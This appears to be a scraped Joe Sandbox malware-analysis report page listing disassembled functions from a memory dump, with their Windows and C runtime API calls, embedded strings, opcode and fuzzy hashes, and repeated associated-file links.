Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 8deeb4a57ed568408d3b4e946b9941d8d8c131b671919835a0f58c5e05eaa689
Instruction ID: 0e1c4a8a1915cadf1071f58600cd91b3f08311ba80a0c9cd24dd10a6c302394a
Opcode Fuzzy Hash: 8deeb4a57ed568408d3b4e946b9941d8d8c131b671919835a0f58c5e05eaa689
Instruction Fuzzy Hash: F7314D70A006189FDB10CBA9CC80B9DB7BDAF99714FA0868AE418E7245C771DD80CF50

Function 689603DE Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: e78500f0543e4b865b767c8140c70eea06185ebbed67bcc0f5d3fb3b0bfb908e
Instruction ID: 78feebdbaeb3a0ccb9190f3e06cc20b644a5127cdfa1e06ac5db827bdc6f2ad6
Opcode Fuzzy Hash: e78500f0543e4b865b767c8140c70eea06185ebbed67bcc0f5d3fb3b0bfb908e
Instruction Fuzzy Hash: 17312D70A006189FDB10CFA9CC84B9DB7BDAF99614F60869AE418E7255D771D980CF50

Function 68960561 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 97517094ea0465f067fc422106deab0fcc086e1763a0fb08c30ae253153d94c0
Instruction ID: 6eb6e9646c77f6ff9931634423e695aa7bb8380178f6afee271943ff6de7dcef
Opcode Fuzzy Hash: 97517094ea0465f067fc422106deab0fcc086e1763a0fb08c30ae253153d94c0
Instruction Fuzzy Hash: 1E313AB0E006189FDB10DBA9CC80BADB7BDAF99714F60858AE528E7241D771D9808F50

Function 6895FD9F Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 812e7abf21b23c8397429dcb43aff3d9638ecdc6d182b07449d237fd629154fb
Instruction ID: a8bcc14ff41d8df4e3a59a9c3ca0d425f9d913e5daaca261444d2f72e9e40973
Opcode Fuzzy Hash: 812e7abf21b23c8397429dcb43aff3d9638ecdc6d182b07449d237fd629154fb
Instruction Fuzzy Hash: EB313CB0E006189FDB10DFA9CC80F9DB7BDAF99614F60858AE418EB245C771E981CF50

Function 68969011 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 97517094ea0465f067fc422106deab0fcc086e1763a0fb08c30ae253153d94c0
Instruction ID: f3bfb06301822882a88fc43fbe43798e38886f2e79d0d094cce6c69a6d41a739
Opcode Fuzzy Hash: 97517094ea0465f067fc422106deab0fcc086e1763a0fb08c30ae253153d94c0
Instruction Fuzzy Hash: 79314C74E006289FDB11DBA8CD80B5EB7FDAF89214F60858AE529E7245C771ED80CF50

Function 689B249C Relevance: 9.1, APIs: 6, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000100,?,?,?,?,?,689B25B1,?,00000000,?), ref: 689B24E6
_malloc.LIBCMT ref: 689B251B
_memset.LIBCMT ref: 689B253B
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,?,00000001,?,00000000,00000001,00000000), ref: 689B2550
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 689B255E
__freea.LIBCMT ref: 689B2568

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ByteCharMultiWide$StringType__freea_malloc_memset
String ID:
API String ID: 525495869-0
Opcode ID: 4e75dedc96be315bd4f8af1310ad2e014fb26b006be3ab1502d4d8312b4c30a0
Instruction ID: ac1eb47c8a2a19de28897c9eab8bd4d5fb68f457a31a1319a22aee38b32836a7
Opcode Fuzzy Hash: 4e75dedc96be315bd4f8af1310ad2e014fb26b006be3ab1502d4d8312b4c30a0
Instruction Fuzzy Hash: A1316BB160020AAFEF01CFA8DC90DAF7BADEB08368F914435F92597250E775DD608B60

Function 68968A39 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 689669C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 68966A08
Part of subcall function 689669C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68966A15
Part of subcall function 689669C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 68966A41

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Destroy$Bound$Element
String ID:
API String ID: 757764206-0
Opcode ID: 669947a8d0707653b2aafcb7c52eb65b026aeff9070c0126211562aeb43d7b58
Instruction ID: 5f5fe43c192ef0f26253dd157947853e2461817ac7601d6832453f0476db786b
Opcode Fuzzy Hash: 669947a8d0707653b2aafcb7c52eb65b026aeff9070c0126211562aeb43d7b58
Instruction Fuzzy Hash: 8F312C70E006189FDB11DB68CC80B9EB7F9AF95214FA0468AE429E7241C775ED80CF50

Function 689687EE Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 689669C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 68966A08
Part of subcall function 689669C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68966A15
Part of subcall function 689669C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 68966A41

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Destroy$Bound$Element
String ID:
API String ID: 757764206-0
Opcode ID: 91ff9942cdfd872bcd272a794f22b6c7c73d6ca94e5105e946899fae945a7544
Instruction ID: afa874df61e3efece595b60bd53801db68cf021df20857cf6eb7f5de17d480e8
Opcode Fuzzy Hash: 91ff9942cdfd872bcd272a794f22b6c7c73d6ca94e5105e946899fae945a7544
Instruction Fuzzy Hash: 4E312A70E006289FDB11DBA8CC80B9EB7FEAF95214FA0458AE529E7245C775ED80CF50

Function 6895FD3E Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 689669C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 68966A08
Part of subcall function 689669C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68966A15
Part of subcall function 689669C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 68966A41

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Destroy$Bound$Element
String ID:
API String ID: 757764206-0
Opcode ID: 91ff9942cdfd872bcd272a794f22b6c7c73d6ca94e5105e946899fae945a7544
Instruction ID: e50145e85b007bb4c50e4ad38770905a482e256f775b5b09abf8bfa96f3eada6
Opcode Fuzzy Hash: 91ff9942cdfd872bcd272a794f22b6c7c73d6ca94e5105e946899fae945a7544
Instruction Fuzzy Hash: 6D313C70E006189FDB10DFA9CC80BADB7BEAF99714FA0858AE558E7245C772DD808F50

Function 6895FF89 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 689669C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 68966A08
Part of subcall function 689669C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68966A15
Part of subcall function 689669C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 68966A41

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Destroy$Bound$Element
String ID:
API String ID: 757764206-0
Opcode ID: 669947a8d0707653b2aafcb7c52eb65b026aeff9070c0126211562aeb43d7b58
Instruction ID: 17e98df5ed5b4b732b3f3bc9b18ceb80d6a0703eeeb4b58bdbfc6e9d7a6b537a
Opcode Fuzzy Hash: 669947a8d0707653b2aafcb7c52eb65b026aeff9070c0126211562aeb43d7b58
Instruction Fuzzy Hash: CD310A70A006189FDB10DBA9CC80B9DB7BAAF99714FA0468AE519E7241C775E9808F50

Function 689A06A0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 68944760: __CxxThrowException@8.LIBCMT ref: 689447F9

_memmove.LIBCMT ref: 689A0907
_memmove.LIBCMT ref: 689A0936
_memmove.LIBCMT ref: 689A0959
__CxxThrowException@8.LIBCMT ref: 689A0A25

Strings

PSSR_MEM: message recovery disabled, xrefs: 689A09E3

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memmove$Exception@8Throw
String ID: PSSR_MEM: message recovery disabled
API String ID: 2655171816-3051149714
Opcode ID: 01da55419cead774036bc6c9611d6ac25fb69f2a3d8afcbac1365f949986c237
Instruction ID: 95c1d7ca65b210a3a2367c220dda3cb2f8b8e485d77bd67c043a9a6406aecd09
Opcode Fuzzy Hash: 01da55419cead774036bc6c9611d6ac25fb69f2a3d8afcbac1365f949986c237
Instruction Fuzzy Hash: 5DC14575608341DFD754CF28C880B6ABBE9BFD9304F448A5CE5998B385DB31E905CBA2

Function 689A7FE0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 325COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 689A80EA

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

RandomNumberType, xrefs: 689A83A9
Max, xrefs: 689A83E3
invalid bit length, xrefs: 689A8044
Min, xrefs: 689A83C5

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: Max$Min$RandomNumberType$invalid bit length
API String ID: 3718517217-2498579642
Opcode ID: 6a3f00fa02ebea63465af2cbe8f3722e3c52850a7214cd54a3dd0147052f1d20
Instruction ID: 0c685b6375f5bc8e5de7e22c0750242431281c0511851759697c47953465d584
Opcode Fuzzy Hash: 6a3f00fa02ebea63465af2cbe8f3722e3c52850a7214cd54a3dd0147052f1d20
Instruction Fuzzy Hash: CEC1A0746497809EE328CB28C850BAFB7D5BFE9304F884A2CE59993391DB74D905C763

Function 689ABE8E Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 689ABEB6

Part of subcall function 689AAB70: __getptd.LIBCMT ref: 689AAB7E
Part of subcall function 689AAB70: __getptd.LIBCMT ref: 689AAB8C

__getptd.LIBCMT ref: 689ABEC0

Part of subcall function 689AEAE6: __getptd_noexit.LIBCMT ref: 689AEAE9
Part of subcall function 689AEAE6: __amsg_exit.LIBCMT ref: 689AEAF6

__getptd.LIBCMT ref: 689ABECE
__getptd.LIBCMT ref: 689ABEDC
__getptd.LIBCMT ref: 689ABEE7
_CallCatchBlock2.LIBCMT ref: 689ABF0D

Part of subcall function 689AAC15: __CallSettingFrame@12.LIBCMT ref: 689AAC61

Part of subcall function 689ABFB4: __getptd.LIBCMT ref: 689ABFC3
Part of subcall function 689ABFB4: __getptd.LIBCMT ref: 689ABFD1

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: e45fa3919a5fd98d723d57d3500287a1465e54695f4a6e75ad45692ade52f4d6
Instruction ID: 78d276694aa787533a1e858335f8b3a3dc4925ab01ce72a60ad26fcc59996f52
Opcode Fuzzy Hash: e45fa3919a5fd98d723d57d3500287a1465e54695f4a6e75ad45692ade52f4d6
